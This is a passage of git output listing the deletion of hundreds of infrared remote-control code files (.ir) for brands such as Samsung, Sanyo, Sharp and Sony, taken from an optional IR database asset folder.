assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/TV/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/VCR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Receiver/131,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Snell/Speaker/80,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonance/System Controller/132,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/100,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Boombox/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Changer/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/57,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/23,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/185,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/217,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DV Cam/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,218.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir delete mode 100644 